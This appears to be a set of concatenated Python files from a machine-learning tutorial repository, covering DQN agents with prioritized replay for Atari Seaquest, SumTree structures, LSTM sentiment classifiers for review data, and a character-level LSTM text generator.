max_reward = max(ep_rewards[-AGGREGATE_STATS_EVERY:]) agent.tensorboard.update_stats(reward_avg=average_reward, reward_min=min_reward, reward_max=max_reward, epsilon=epsilon) # Save model, but only when min reward is greater or equal a set value if average_reward >= -220: agent.model.save(f'models/{MODEL_NAME}__{max_reward:_>7.2f}max_{average_reward:_>7.2f}avg_{min_reward:_>7.2f}min__{int(time.time())}.model') # Decay epsilon if epsilon > MIN_EPSILON: epsilon *= EPSILON_DECAY epsilon = max(MIN_EPSILON, epsilon) agent.model.save(f'models/{MODEL_NAME}__{max_reward:_>7.2f}max_{average_reward:_>7.2f}avg_{min_reward:_>7.2f}min__{int(time.time())}.model') # OpenGym Seaquest-v0 # ------------------- # # This code demonstrates a Double DQN network with Priority Experience Replay # in an OpenGym Seaquest-v0 environment. # # Made as part of blog series Let's make a DQN, available at: # https://jaromiru.com/2016/11/07/lets-make-a-dqn-double-learning-and-prioritized-experience-replay/ # # author: Jaromir Janisch, 2016 import matplotlib import random, numpy, math, gym, scipy import tensorflow as tf import time from SumTree import SumTree from keras.callbacks import TensorBoard from collections import deque import tqdm IMAGE_WIDTH = 84 IMAGE_HEIGHT = 84 IMAGE_STACK = 2 HUBER_LOSS_DELTA = 2.0 LEARNING_RATE = 0.00045 #-------------------- Modified Tensorboard ----------------------- class RLTensorBoard(TensorBoard): def __init__(self, **kwargs): """ Overriding init to set initial step and writer (one log file for multiple .fit() calls) """ super().__init__(**kwargs) self.step = 1 self.writer = tf.summary.FileWriter(self.log_dir) def set_model(self, model): """ Overriding this method to stop creating default log writer """ pass def on_epoch_end(self, epoch, logs=None): """ Overrided, saves logs with our step number (if this is not overrided, every .fit() call will start from 0th step) """ self.update_stats(**logs) def on_batch_end(self, batch, logs=None): """ Overrided, we train for one batch only, no need to save anything on batch end """ pass def on_train_end(self, _): """ Overrided, we don't close the writer """ pass def update_stats(self, **stats): """ Custom method for saving own metrics Creates writer, writes custom metrics and closes writer """ self._write_logs(stats, self.step) #-------------------- UTILITIES ----------------------- def huber_loss(y_true, y_pred): err = y_true - y_pred cond = K.abs(err) < HUBER_LOSS_DELTA L2 = 0.5 * K.square(err) L1 = HUBER_LOSS_DELTA * (K.abs(err) - 0.5 * HUBER_LOSS_DELTA) loss = tf.where(cond, L2, L1) # Keras does not cover where function in tensorflow :-( return K.mean(loss) def processImage( img ): rgb = scipy.misc.imresize(img, (IMAGE_WIDTH, IMAGE_HEIGHT), interp='bilinear') r, g, b = rgb[:,:,0], rgb[:,:,1], rgb[:,:,2] gray = 0.2989 * r + 0.5870 * g + 0.1140 * b # extract luminance o = gray.astype('float32') / 128 - 1 # normalize return o #-------------------- BRAIN --------------------------- from keras.models import Sequential from keras.layers import * from keras.optimizers import * model_name = "conv2dx3" class Brain: def __init__(self, stateCnt, actionCnt): self.stateCnt = stateCnt self.actionCnt = actionCnt self.model = self._createModel() self.model_ = self._createModel() # target network # custom tensorboard self.tensorboard = RLTensorBoard(log_dir="logs/{}-{}".format(model_name, int(time.time()))) def _createModel(self): model = Sequential() model.add(Conv2D(32, (8, 8), strides=(4,4), activation='relu', input_shape=(self.stateCnt), data_format='channels_first')) model.add(Conv2D(64, (4, 4), strides=(2,2), activation='relu')) model.add(Conv2D(64, (3, 3), activation='relu')) model.add(Flatten()) model.add(Dense(units=512, activation='relu')) model.add(Dense(units=actionCnt, activation='linear')) opt = RMSprop(lr=LEARNING_RATE) model.compile(loss=huber_loss, optimizer=opt) return model def train(self, x, y, epochs=1, verbose=0): self.model.fit(x, y, batch_size=32, epochs=epochs, verbose=verbose, callbacks=[self.tensorboard]) def predict(self, s, target=False): if target: return self.model_.predict(s) else: return self.model.predict(s) def predictOne(self, s, target=False): return self.predict(s.reshape(1, IMAGE_STACK, IMAGE_WIDTH, IMAGE_HEIGHT), target).flatten() def updateTargetModel(self): self.model_.set_weights(self.model.get_weights()) #-------------------- MEMORY -------------------------- class Memory: # stored as ( s, a, r, s_ ) in SumTree e = 0.01 a = 0.6 def __init__(self, capacity): self.tree = SumTree(capacity) def _getPriority(self, error): return (error + self.e) ** self.a def add(self, error, sample): p = self._getPriority(error) self.tree.add(p, sample) def sample(self, n): batch = [] segment = self.tree.total() / n for i in range(n): a = segment * i b = segment * (i + 1) s = random.uniform(a, b) (idx, p, data) = self.tree.get(s) batch.append( (idx, data) ) return batch def update(self, idx, error): p = self._getPriority(error) self.tree.update(idx, p) #-------------------- AGENT --------------------------- MEMORY_CAPACITY = 50_000 BATCH_SIZE = 32 GAMMA = 0.95 MAX_EPSILON = 1 MIN_EPSILON = 0.05 EXPLORATION_STOP = 500_000 # at this step epsilon will be 0.01 LAMBDA = - math.log(0.01) / EXPLORATION_STOP # speed of decay UPDATE_TARGET_FREQUENCY = 10_000 UPDATE_STATS_EVERY = 5 RENDER_EVERY = 50 class Agent: steps = 0 epsilon = MAX_EPSILON def __init__(self, stateCnt, actionCnt, brain): self.stateCnt = stateCnt self.actionCnt = actionCnt self.brain = brain # self.memory = Memory(MEMORY_CAPACITY) def act(self, s): if random.random() < self.epsilon: return random.randint(0, self.actionCnt-1) else: return numpy.argmax(self.brain.predictOne(s)) def observe(self, sample): # in (s, a, r, s_) format x, y, errors = self._getTargets([(0, sample)]) self.memory.add(errors[0], sample) if self.steps % UPDATE_TARGET_FREQUENCY == 0: self.brain.updateTargetModel() # slowly decrease Epsilon based on our eperience self.steps += 1 self.epsilon = MIN_EPSILON + (MAX_EPSILON - MIN_EPSILON) * math.exp(-LAMBDA * self.steps) def _getTargets(self, batch): no_state = numpy.zeros(self.stateCnt) states = numpy.array([ o[1][0] for o in batch ]) states_ = numpy.array([ (no_state if o[1][3] is None else o[1][3]) for o in batch ]) p = agent.brain.predict(states) p_ = agent.brain.predict(states_, target=False) pTarget_ = agent.brain.predict(states_, target=True) x = numpy.zeros((len(batch), IMAGE_STACK, IMAGE_WIDTH, IMAGE_HEIGHT)) y = numpy.zeros((len(batch), self.actionCnt)) errors = numpy.zeros(len(batch)) for i in range(len(batch)): o = batch[i][1] s = o[0] a = o[1] r = o[2] s_ = o[3] t = p[i] oldVal = t[a] if s_ is None: t[a] = r else: t[a] = r + GAMMA * pTarget_[i][ numpy.argmax(p_[i]) ] # double DQN x[i] = s y[i] = t errors[i] = abs(oldVal - t[a]) return (x, y, errors) def replay(self): batch = self.memory.sample(BATCH_SIZE) x, y, errors = self._getTargets(batch) # update errors for i in range(len(batch)): idx = batch[i][0] self.memory.update(idx, errors[i]) self.brain.train(x, y) class RandomAgent: memory = Memory(MEMORY_CAPACITY) exp = 0 epsilon = MAX_EPSILON def __init__(self, actionCnt, brain): self.actionCnt = actionCnt self.brain = brain def act(self, s): return random.randint(0, self.actionCnt-1) def observe(self, sample): # in (s, a, r, s_) format error = abs(sample[2]) # reward self.memory.add(error, sample) self.exp += 1 def replay(self): pass #-------------------- ENVIRONMENT --------------------- class Environment: def __init__(self, problem): self.problem = problem self.env = gym.make(problem) self.ep_rewards = deque(maxlen=UPDATE_STATS_EVERY) def run(self, agent, step): img = self.env.reset() w = processImage(img) s = numpy.array([w, w]) agent.brain.tensorboard.step = step R = 0 while True: if step % RENDER_EVERY == 0: self.env.render() a = agent.act(s) img, r, done, info = self.env.step(a) s_ = numpy.array([s[1], processImage(img)]) #last two screens r = np.clip(r, -1, 1) # clip reward to [-1, 1] if done: # terminal state s_ = None agent.observe( (s, a, r, s_) ) agent.replay() s = s_ R += r if done: break self.ep_rewards.append(R) avg_reward = sum(self.ep_rewards) / len(self.ep_rewards) if step % UPDATE_STATS_EVERY == 0: min_reward = min(self.ep_rewards) max_reward = max(self.ep_rewards) agent.brain.tensorboard.update_stats(reward_avg=avg_reward, reward_min=min_reward, reward_max=max_reward, epsilon=agent.epsilon) agent.brain.model.save(f"models/{model_name}-avg-{avg_reward:.2f}-min-{min_reward:.2f}-max-{max_reward:2f}.h5") # print("Total reward:", R) return avg_reward #-------------------- MAIN ---------------------------- PROBLEM = 'Seaquest-v0' env = Environment(PROBLEM) episodes = 2_000 stateCnt = (IMAGE_STACK, IMAGE_WIDTH, IMAGE_HEIGHT) actionCnt = env.env.action_space.n brain = Brain(stateCnt, actionCnt) agent = Agent(stateCnt, actionCnt, brain) randomAgent = RandomAgent(actionCnt, brain) step = 0 try: print("Initialization with random agent...") while randomAgent.exp < MEMORY_CAPACITY: step += 1 env.run(randomAgent, step) print(randomAgent.exp, "/", MEMORY_CAPACITY) agent.memory = randomAgent.memory randomAgent = None print("Starting learning") for i in tqdm.tqdm(list(range(step+1, episodes+step+1))): env.run(agent, i) finally: agent.brain.model.save("Seaquest-DQN-PER.h5") import numpy as np class SumTree: """ This SumTree code is modified version of Morvan Zhou: https://github.com/MorvanZhou/Reinforcement-learning-with-tensorflow/blob/master/contents/5.2_Prioritized_Replay_DQN/RL_brain.py """ data_pointer = 0 def __init__(self, length): # number of leaf nodes (final nodes that contains experiences) self.length = length # generate the tree with all nodes' value = 0 # binary node (each node has max 2 children) so 2x size of leaf capacity - 1 # parent nodes = length - 1 # leaf nodes = length self.tree = np.zeros(2*self.length - 1) # contains the experiences self.data = np.zeros(self.length, dtype=object) def add(self, priority, data): """ Add priority score in the sumtree leaf and add the experience in data """ # look at what index we want to put the experience tree_index = self.data_pointer + self.length - 1 #tree: # 0 # / \ # 0 0 # / \ / \ #tree_index 0 0 0 We fill the leaves from left to right self.data[self.data_pointer] = data # update the leaf self.update(tree_index, priority) # increment data pointer self.data_pointer += 1 # if we're above the capacity, we go back to the first index if self.data_pointer >= self.length: self.data_pointer = 0 def update(self, tree_index, priority): """ Update the leaf priority score and propagate the change through the tree """ # change = new priority score - former priority score change = priority - self.tree[tree_index] self.tree[tree_index] = priority while tree_index != 0: # this method is faster than the recursive loop in the reference code """ Here we want to access the line above THE NUMBERS IN THIS TREE ARE THE INDEXES NOT THE PRIORITY VALUES 0 / \ 1 2 / \ / \ 3 4 5 [6] If we are in leaf at index 6, we updated the priority score We need then to update index 2 node So tree_index = (tree_index - 1) // 2 tree_index = (6-1)//2 tree_index = 2 (because // round the result) """ tree_index = (tree_index - 1) // 2 self.tree[tree_index] += change """ Here we get the leaf_index, priority value of that leaf and experience associated with that index """ def get_leaf(self, v): """ Tree structure and array storage: Tree index: 0 -> storing priority sum / \ 1 2 / \ / \ 3 4 5 6 -> storing priority for experiences Array type for storing: [0,1,2,3,4,5,6] """ parent_index = 0 while True: # the while loop is faster than the method in the reference code left_child_index = 2 * parent_index + 1 right_child_index = left_child_index + 1 # If we reach bottom, end the search if left_child_index >= len(self.tree): leaf_index = parent_index break else: # downward search, always search for a higher priority node if v <= self.tree[left_child_index]: parent_index = left_child_index else: v -= self.tree[left_child_index] parent_index = right_child_index data_index = leaf_index - self.length + 1 return leaf_index, self.tree[leaf_index], self.data[data_index] property def total_priority(self): return self.tree[0] # Returns the root node class Memory: # we use this to avoid some experiences to have 0 probability of getting picked PER_e = 0.01 # we use this to make a tradeoff between taking only experiences with high priority # and sampling randomly PER_a = 0.6 # we use this for importance sampling, from this to 1 through the training PER_b = 0.4 PER_b_increment_per_sample = 0.001 absolute_error_upper = 1.0 def __init__(self, capacity): # the tree is composed of a sum tree that contains the priority scores and his leaf # and also a data list # we don't use deque here because it means that at each timestep our experiences change index by one # we prefer to use a simple array to override when the memory is full self.tree = SumTree(length=capacity) def store(self, experience): """ Store a new experience in our tree Each new experience have a score of max_priority (it'll be then improved) """ # find the max priority max_priority = np.max(self.tree.tree[-self.tree.length:]) # if the max priority = 0 we cant put priority = 0 since this exp will never have a chance to be picked # so we use a minimum priority if max_priority == 0: max_priority = self.absolute_error_upper # set the max p for new p self.tree.add(max_priority, experience) def sample(self, n): """ - First, to sample a minimatch of k size, the range [0, priority_total] is / into k ranges. - then a value is uniformly sampled from each range - we search in the sumtree, the experience where priority score correspond to sample values are retrieved from. - then, we calculate IS weights for each minibatch element """ # create a sample list that will contains the minibatch memory = [] b_idx, b_is_weights = np.zeros((n, ), dtype=np.int32), np.zeros((n, 1), dtype=np.float32) # calculate the priority segment # here, as explained in the paper, we divide the range [0, ptotal] into n ranges priority_segment = self.tree.total_priority / n # increase b each time self.PER_b = np.min([1., self.PER_b + self.PER_b_increment_per_sample]) # calculating the max weight p_min = np.min(self.tree.tree[-self.tree.length:]) / self.tree.total_priority max_weight = (p_min * n) ** (-self.PER_b) for i in range(n): a, b = priority_segment * i, priority_segment * (i + 1) value = np.random.uniform(a, b) # experience that correspond to each value is retrieved index, priority, data = self.tree.get_leaf(value) # P(j) sampling_probs = priority / self.tree.total_priority # IS = (1/N * 1/P(i))**b /max wi == (N*P(i))**-b /max wi b_is_weights[i, 0] = np.power(n * sampling_probs, -self.PER_b)/ max_weight b_idx[i]= index experience = [data] memory.append(experience) return b_idx, memory, b_is_weights def batch_update(self, tree_idx, abs_errors): """ Update the priorities on the tree """ abs_errors += self.PER_e clipped_errors = np.min([abs_errors, self.absolute_error_upper]) ps = np.power(clipped_errors, self.PER_a) for ti, p in zip(tree_idx, ps): self.tree.update(ti, p) import tensorflow as tf class DDDQNNet: """ Dueling Double Deep Q Neural Network """ def __init__(self, state_size, action_size, learning_rate, name): self.state_size = state_size self.action_size = action_size self.learning_rate = learning_rate self.name = name # we use tf.variable_scope to know which network we're using (DQN or the Target net) # it'll be helpful when we will update our w- parameters (by copy the DQN parameters) with tf.variable_scope(self.name): # we create the placeholders self.inputs_ = tf.placeholder(tf.float32, [None, *state_size], name="inputs") self.is_weights_ = tf.placeholder(tf.float32, [None, 1], name="is_weights") self.actions_ = tf.placeholder(tf.float32, [None, self.action_size], name="actions_") # target Q self.target_q = tf.placeholder(tf.float32, [None], name="target") # neural net self.dense1 = tf.layers.dense(inputs=self.inputs_, units=32, name="dense1", kernel_initializer=tf.contrib.layers.xavier_initializer(), activation="relu") self.dense2 = tf.layers.dense(inputs=self.dense1, units=32, name="dense2", kernel_initializer=tf.contrib.layers.xavier_initializer(), activation="relu") self.dense3 = tf.layers.dense(inputs=self.dense2, units=32, name="dense3", kernel_initializer=tf.contrib.layers.xavier_initializer()) # here we separate into two streams (dueling) # this one is State-Function V(s) self.value = tf.layers.dense(inputs=self.dense3, units=1, kernel_initializer=tf.contrib.layers.xavier_initializer(), activation=None, name="value" ) # and this one is Value-Function A(s, a) self.advantage = tf.layers.dense(inputs=self.dense3, units=self.action_size, activation=None, kernel_initializer=tf.contrib.layers.xavier_initializer(), name="advantage" ) # aggregation # Q(s, a) = V(s) + ( A(s, a) - 1/|A| * sum A(s, a') ) self.output = self.value + tf.subtract(self.advantage, tf.reduce_mean(self.advantage, axis=1, keepdims=True)) # Q is our predicted Q value self.Q = tf.reduce_sum(tf.multiply(self.output, self.actions_)) self.absolute_errors = tf.abs(self.target_q - self.Q) # w- * (target_q - q)**2 self.loss = tf.reduce_mean(self.is_weights_ * tf.squared_difference(self.target_q, self.Q)) self.optimizer = tf.train.RMSPropOptimizer(self.learning_rate).minimize(self.loss) import numpy class SumTree: write = 0 def __init__(self, capacity): self.capacity = capacity self.tree = numpy.zeros( 2*capacity - 1 ) self.data = numpy.zeros( capacity, dtype=object ) def _propagate(self, idx, change): parent = (idx - 1) // 2 self.tree[parent] += change if parent != 0: self._propagate(parent, change) def _retrieve(self, idx, s): left = 2 * idx + 1 right = left + 1 if left >= len(self.tree): return idx if s <= self.tree[left]: return self._retrieve(left, s) else: return self._retrieve(right, s-self.tree[left]) def total(self): return self.tree[0] def add(self, p, data): idx = self.write + self.capacity - 1 self.data[self.write] = data self.update(idx, p) self.write += 1 if self.write >= self.capacity: self.write = 0 def update(self, idx, p): change = p - self.tree[idx] self.tree[idx] = p self._propagate(idx, change) def get(self, s): idx = self._retrieve(0, s) dataIdx = idx - self.capacity + 1 return (idx, self.tree[idx], self.data[dataIdx]) import numpy as np from string import punctuation from collections import Counter from sklearn.model_selection import train_test_split with open("data/reviews.txt") as f: reviews = f.read() with open("data/labels.txt") as f: labels = f.read() # remove all punctuations all_text = ''.join([ c for c in reviews if c not in punctuation ]) reviews = all_text.split("\n") reviews = [ review.strip() for review in reviews ] all_text = ' '.join(reviews) words = all_text.split() print("Total words:", len(words)) # encoding the words # dictionary that maps vocab words to integers here vocab = sorted(set(words)) print("Unique words:", len(vocab)) # start is 1 because 0 is encoded for blank vocab2int = {word: i for i, word in enumerate(vocab, start=1)} # encoded reviews encoded_reviews = [] for review in reviews: encoded_reviews.append([vocab2int[word] for word in review.split()]) encoded_reviews = np.array(encoded_reviews) # print("Number of reviews:", len(encoded_reviews)) # encode the labels, 1 for 'positive' and 0 for 'negative' labels = labels.split("\n") labels = [1 if label is 'positive' else 0 for label in labels] # print("Number of labels:", len(labels)) review_lens = [len(x) for x in encoded_reviews] counter_reviews_lens = Counter(review_lens) # remove any reviews with 0 length cleaned_encoded_reviews, cleaned_labels = [], [] for review, label in zip(encoded_reviews, labels): if len(review) != 0: cleaned_encoded_reviews.append(review) cleaned_labels.append(label) encoded_reviews = np.array(cleaned_encoded_reviews) labels = cleaned_labels # print("Number of reviews:", len(encoded_reviews)) # print("Number of labels:", len(labels)) sequence_length = 200 features = np.zeros((len(encoded_reviews), sequence_length), dtype=int) for i, review in enumerate(encoded_reviews): features[i, -len(review):] = review[:sequence_length] # print(features[:10, :100]) # split data into train, validation and test split_frac = 0.9 X_train, X_test, y_train, y_test = train_test_split(features, labels, test_size=1-split_frac) X_test, X_validation, y_test, y_validation = train_test_split(X_test, y_test, test_size=0.5) print(f"""Features shapes: Train set: {X_train.shape} Validation set: {X_validation.shape} Test set: {X_test.shape}""") print("Example:") print(X_train[0]) print(y_train[0]) # X_train, X_validation = features[:split_frac*len(features)], features[split_frac*len(features):] # y_train, y_validation = labels[:split] import tensorflow as tf from utils import get_batches from train import * import tensorflow as tf from preprocess import vocab2int, X_train, y_train, X_validation, y_validation, X_test, y_test from utils import get_batches import numpy as np def get_lstm_cell(): # basic LSTM cell lstm = tf.contrib.rnn.BasicLSTMCell(lstm_size) # dropout to the cell drop = tf.contrib.rnn.DropoutWrapper(lstm, output_keep_prob=keep_prob) return drop # RNN paramaters lstm_size = 256 lstm_layers = 1 batch_size = 256 learning_rate = 0.001 n_words = len(vocab2int) + 1 # Added 1 for the 0 that is for padding # create the graph object graph = tf.Graph() # add nodes to the graph with graph.as_default(): inputs = tf.placeholder(tf.int32, (None, None), "inputs") labels = tf.placeholder(tf.int32, (None, None), "labels") keep_prob = tf.placeholder(tf.float32, name="keep_prob") # number of units in the embedding layer embedding_size = 300 with graph.as_default(): # embedding lookup matrix embedding = tf.Variable(tf.random_uniform((n_words, embedding_size), -1, 1)) # pass to the LSTM cells embed = tf.nn.embedding_lookup(embedding, inputs) # stackup multiple LSTM layers cell = tf.contrib.rnn.MultiRNNCell([get_lstm_cell() for i in range(lstm_layers)]) initial_state = cell.zero_state(batch_size, tf.float32) # pass cell and input to cell, returns outputs for each time step # and the final state of the hidden layer # run the data through the rnn nodes outputs, final_state = tf.nn.dynamic_rnn(cell, embed, initial_state=initial_state) # grab the last output # use sigmoid for binary classification predictions = tf.contrib.layers.fully_connected(outputs[:, -1], 1, activation_fn=tf.sigmoid) # calculate cost using MSE cost = tf.losses.mean_squared_error(labels, predictions) optimizer = tf.train.AdamOptimizer(learning_rate).minimize(cost) # nodes to calculate the accuracy correct_pred = tf.equal(tf.cast(tf.round(predictions), tf.int32), labels) accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32)) saver = tf.train.Saver() ########### training ########## epochs = 10 with tf.Session(graph=graph) as sess: sess.run(tf.global_variables_initializer()) iteration = 1 for e in range(epochs): state = sess.run(initial_state) for i, (x, y) in enumerate(get_batches(X_train, y_train, batch_size=batch_size)): y = np.array(y) x = np.array(x) feed = {inputs: x, labels: y[:, None], keep_prob: 0.5, initial_state: state} loss, state, _ = sess.run([cost, final_state, optimizer], feed_dict=feed) if iteration % 5 == 0: print(f"[Epoch: {e}/{epochs}] Iteration: {iteration} Train loss: {loss:.3f}") if iteration % 25 == 0: val_acc = [] val_state = sess.run(cell.zero_state(batch_size, tf.float32)) for x, y in get_batches(X_validation, y_validation, batch_size=batch_size): x, y = np.array(x), np.array(y) feed = {inputs: x, labels: y[:, None], keep_prob: 1, initial_state: val_state} batch_acc, val_state = sess.run([accuracy, final_state], feed_dict=feed) val_acc.append(batch_acc) print(f"val_acc: {np.mean(val_acc):.3f}") iteration += 1 saver.save(sess, "chechpoints/sentiment1.ckpt") test_acc = [] with tf.Session(graph=graph) as sess: saver = tf.train.Saver() saver.restore(sess, tf.train.latest_checkpoint('checkpoints')) test_state = sess.run(cell.zero_state(batch_size, tf.float32)) for ii, (x, y) in enumerate(get_batches(X_test, y_test, batch_size), 1): feed = {inputs: x, labels: y[:, None], keep_prob: 1, initial_state: test_state} batch_acc, test_state = sess.run([accuracy, final_state], feed_dict=feed) test_acc.append(batch_acc) print("Test accuracy: {:.3f}".format(np.mean(test_acc))) def get_batches(x, y, batch_size=100): n_batches = len(x) // batch_size x, y = x[:n_batches*batch_size], y[:n_batches*batch_size] for i in range(0, len(x), batch_size): yield x[i: i+batch_size], y[i: i+batch_size] import numpy as np import pandas as pd import tqdm from string import punctuation punc = set(punctuation) df = pd.read_csv(r"E:\datasets\sentiment\food_reviews\amazon-fine-food-reviews\Reviews.csv") X = np.zeros((len(df), 2), dtype=object) for i in tqdm.tqdm(range(len(df)), "Cleaning X"): target = df['Text'].loc[i] # X.append(''.join([ c.lower() for c in target if c not in punc ])) X[i, 0] = ''.join([ c.lower() for c in target if c not in punc ]) X[i, 1] = df['Score'].loc[i] pd.DataFrame(X, columns=["Text", "Score"]).to_csv("data/Reviews.csv") ### Model Architecture hyper parameters embedding_size = 64 # sequence_length = 500 sequence_length = 42 LSTM_units = 128 ### Training parameters batch_size = 128 epochs = 20 ### Preprocessing parameters # words that occur less than n times to be deleted from dataset N = 10 # test size in ratio, train size is 1 - test_size test_size = 0.15 from keras.models import Sequential from keras.layers import Embedding, LSTM, Dense, Activation, LeakyReLU, Dropout, TimeDistributed from keras.layers import SpatialDropout1D from config import LSTM_units def get_model_binary(vocab_size, sequence_length): embedding_size = 64 model=Sequential() model.add(Embedding(vocab_size, embedding_size, input_length=sequence_length)) model.add(SpatialDropout1D(0.15)) model.add(LSTM(LSTM_units, recurrent_dropout=0.2)) model.add(Dropout(0.3)) model.add(Dense(1, activation='sigmoid')) model.summary() return model def get_model_5stars(vocab_size, sequence_length, embedding_size, verbose=0): model=Sequential() model.add(Embedding(vocab_size, embedding_size, input_length=sequence_length)) model.add(SpatialDropout1D(0.15)) model.add(LSTM(LSTM_units, recurrent_dropout=0.2)) model.add(Dropout(0.3)) model.add(Dense(1, activation="linear")) if verbose: model.summary() return model import numpy as np import pandas as pd import tqdm import pickle from collections import Counter from sklearn.model_selection import train_test_split from utils import clean_text, tokenize_words from config import N, test_size def load_review_data(): # df = pd.read_csv("data/Reviews.csv") df = pd.read_csv(r"E:\datasets\sentiment\food_reviews\amazon-fine-food-reviews\Reviews.csv") # preview print(df.head()) print(df.tail()) vocab = [] # X = np.zeros((len(df)*2, 2), dtype=object) X = np.zeros((len(df), 2), dtype=object) # for i in tqdm.tqdm(range(len(df)), "Cleaning X1"): # target = df['Text'].loc[i] # score = df['Score'].loc[i] # X[i, 0] = clean_text(target) # X[i, 1] = score # for word in X[i, 0].split(): # vocab.append(word) # k = i+1 k = 0 for i in tqdm.tqdm(range(len(df)), "Cleaning X2"): target = df['Summary'].loc[i] score = df['Score'].loc[i] X[i+k, 0] = clean_text(target) X[i+k, 1] = score for word in X[i+k, 0].split(): vocab.append(word) # vocab = set(vocab) vocab = Counter(vocab) # delete words that occur less than 10 times vocab = { k:v for k, v in vocab.items() if v >= N } # word to integer encoder dict vocab2int = {word: i for i, word in enumerate(vocab, start=1)} # pickle int2vocab for testing print("Pickling vocab2int...") pickle.dump(vocab2int, open("data/vocab2int.pickle", "wb")) # encoded reviews for i in tqdm.tqdm(range(X.shape[0]), "Tokenizing words"): X[i, 0] = tokenize_words(str(X[i, 0]), vocab2int) lengths = [ len(row) for row in X[:, 0] ] print("min_length:", min(lengths)) print("max_length:", max(lengths)) X_train, X_test, y_train, y_test = train_test_split(X[:, 0], X[:, 1], test_size=test_size, shuffle=True, random_state=19) return X_train, X_test, y_train, y_test, vocab import os # disable keras loggings import sys stderr = sys.stderr sys.stderr = open(os.devnull, 'w') import keras sys.stderr = stderr # to use CPU os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 os.environ["CUDA_VISIBLE_DEVICES"] = "-1" os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' import tensorflow as tf config = tf.ConfigProto(intra_op_parallelism_threads=5, inter_op_parallelism_threads=5, allow_soft_placement=True, device_count = {'CPU' : 1, 'GPU' : 0} ) from model import get_model_5stars from utils import clean_text, tokenize_words from config import embedding_size, sequence_length from keras.preprocessing.sequence import pad_sequences import pickle vocab2int = pickle.load(open("data/vocab2int.pickle", "rb")) model = get_model_5stars(len(vocab2int), sequence_length=sequence_length, embedding_size=embedding_size) model.load_weights("results/model_V20_0.38_0.80.h5") if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="Food Review evaluator") parser.add_argument("review", type=str, help="The review of the product in text") args = parser.parse_args() review = tokenize_words(clean_text(args.review), vocab2int) x = pad_sequences([review], maxlen=sequence_length) print(f"{model.predict(x)[0][0]:.2f}/5") # to use CPU # import os # os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 # os.environ["CUDA_VISIBLE_DEVICES"] = "-1" # import tensorflow as tf # config = tf.ConfigProto(intra_op_parallelism_threads=5, # inter_op_parallelism_threads=5, # allow_soft_placement=True, # device_count = {'CPU' : 1, # 'GPU' : 0} # ) import os import numpy as np import pandas as pd from keras.callbacks import ModelCheckpoint from keras.preprocessing import sequence from preprocess import load_review_data from model import get_model_5stars from config import sequence_length, embedding_size, batch_size, epochs X_train, X_test, y_train, y_test, vocab = load_review_data() vocab_size = len(vocab) print("Vocab size:", vocab_size) X_train = sequence.pad_sequences(X_train, maxlen=sequence_length) X_test = sequence.pad_sequences(X_test, maxlen=sequence_length) print("X_train.shape:", X_train.shape) print("X_test.shape:", X_test.shape) print("y_train.shape:", y_train.shape) print("y_test.shape:", y_test.shape) model = get_model_5stars(vocab_size, sequence_length=sequence_length, embedding_size=embedding_size) model.load_weights("results/model_V40_0.60_0.67.h5") model.compile(loss="mse", optimizer="adam", metrics=["accuracy"]) if not os.path.isdir("results"): os.mkdir("results") checkpointer = ModelCheckpoint("results/model_V40_{val_loss:.2f}_{val_acc:.2f}.h5", save_best_only=True, verbose=1) model.fit(X_train, y_train, epochs=epochs, validation_data=(X_test, y_test), batch_size=batch_size, callbacks=[checkpointer]) import numpy as np from string import punctuation # make it a set to accelerate tests punc = set(punctuation) def clean_text(text): return ''.join([ c.lower() for c in str(text) if c not in punc ]) def tokenize_words(words, vocab2int): words = words.split() tokenized_words = np.zeros((len(words),)) for j in range(len(words)): try: tokenized_words[j] = vocab2int[words[j]] except KeyError: # didn't add any unk, just ignore pass return tokenized_words import numpy as np import pickle import tqdm from keras.models import Sequential from keras.layers import Dense, LSTM, Dropout, Activation from keras.callbacks import ModelCheckpoint seed = "import os" # output: # ded of and alice as it go on and the court # well you wont you wouldncopy thing # there was not a long to growing anxiously any only a low every cant # go on a litter which was proves of any only here and the things and the mort meding and the mort and alice was the things said to herself i cant remeran as if i can repeat eften to alice any of great offf its archive of and alice and a cancur as the mo char2int = pickle.load(open("python-char2int.pickle", "rb")) int2char = pickle.load(open("python-int2char.pickle", "rb")) sequence_length = 100 n_unique_chars = len(char2int) # building the model model = Sequential([ LSTM(256, input_shape=(sequence_length, n_unique_chars), return_sequences=True), Dropout(0.3), LSTM(256), Dense(n_unique_chars, activation="softmax"), ]) model.load_weights("results/python-v2-2.48.h5") # generate 400 characters generated = "" for i in tqdm.tqdm(range(400), "Generating text"): # make the input sequence X = np.zeros((1, sequence_length, n_unique_chars)) for t, char in enumerate(seed): X[0, (sequence_length - len(seed)) + t, char2int[char]] = 1 # predict the next character predicted = model.predict(X, verbose=0)[0] # converting the vector to an integer next_index = np.argmax(predicted) # converting the integer to a character next_char = int2char[next_index] # add the character to results generated += next_char # shift seed and the predicted character seed = seed[1:] + next_char print("Generated text:") print(generated) import numpy as np import os import pickle from keras.models import Sequential from keras.layers import Dense, LSTM, Dropout from keras.callbacks import ModelCheckpoint from utils import get_batches # import requests # content = requests.get("http://www.gutenberg.org/cache/epub/11/pg11.txt").text # open("data/wonderland.txt", "w", encoding="utf-8").write(content) from string import punctuation # read the data # text = open("data/wonderland.txt", encoding="utf-8").read() text = open("E:\\datasets\\text\\my_python_code.py").read() # remove caps text = text.lower() for c in "!": text = text.replace(c, "") # text = text.lower().replace("\n\n", "\n").replace("", "").replace("", "").replace("", "").replace("", "") # text = text.translate(str.maketrans("", "", punctuation)) # text = text[:100_000] n_chars = len(text) unique_chars = ''.join(sorted(set(text))) print("unique_chars:", unique_chars) n_unique_chars = len(unique_chars) print("Number of characters:", n_chars) print("Number of unique characters:", n_unique_chars) # dictionary that converts characters to integers char2int = {c: i for i, c in enumerate(unique_chars)} # dictionary that converts integers to characters int2char = {i: c for i, c in enumerate(unique_chars)} # save these dictionaries for later generation pickle.dump(char2int, open("python-char2int.pickle", "wb")) pickle.dump(int2char, open("python-int2char.pickle", "wb")) # hyper parameters sequence_length = 100 step = 1 batch_size = 128 epochs = 1 sentences = [] y_train = [] for i in range(0, len(text) - sequence_length, step): sentences.append(text[i: i + sequence_length]) y_train.append(text[i+sequence_length]) print("Number of sentences:", len(sentences)) X = get_batches(sentences, y_train, char2int, batch_size, sequence_length, n_unique_chars, n_steps=step) # for i, x in 